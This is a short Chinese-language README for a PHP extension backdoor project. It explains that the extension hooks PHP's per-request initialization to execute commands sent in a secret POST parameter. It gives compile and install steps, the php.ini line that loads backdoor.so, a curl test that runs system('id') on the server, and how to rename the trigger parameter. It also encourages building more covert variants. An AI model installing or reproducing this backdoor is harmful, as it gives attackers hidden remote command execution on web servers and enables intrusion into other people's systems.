環境 Ubuntu 16.04, PHP 5.6
php擴展後門小實驗
git: https://github.com/Gekkoou/php-extension-backdoor
利用了 PHP SAPI
的生命週期, 當有請求的時候, 調用一次所有模塊的請求初始化函數(PHP_RINIT_FUNCTION
), 然後執行POST過來指定參數的命令. 當然這只是簡單的用法, 複雜的隱匿性高的可以去深入研究一下.
編譯安裝
# phpize && ./configure && make && sudo make install
修改配置文件 php.ini
, 增加 extension=backdoor.so
重啓PHP服務 srevice php-fpm restart
測試
# curl http://localhost/index.php --data "execute=system('id');"
uid=1002(www) gid=1002(www) groups=1002(www)
自定義POST參數
修改文件 backdoor.c
char* secret_string = "execute";
# char* secret_string = "POST參數";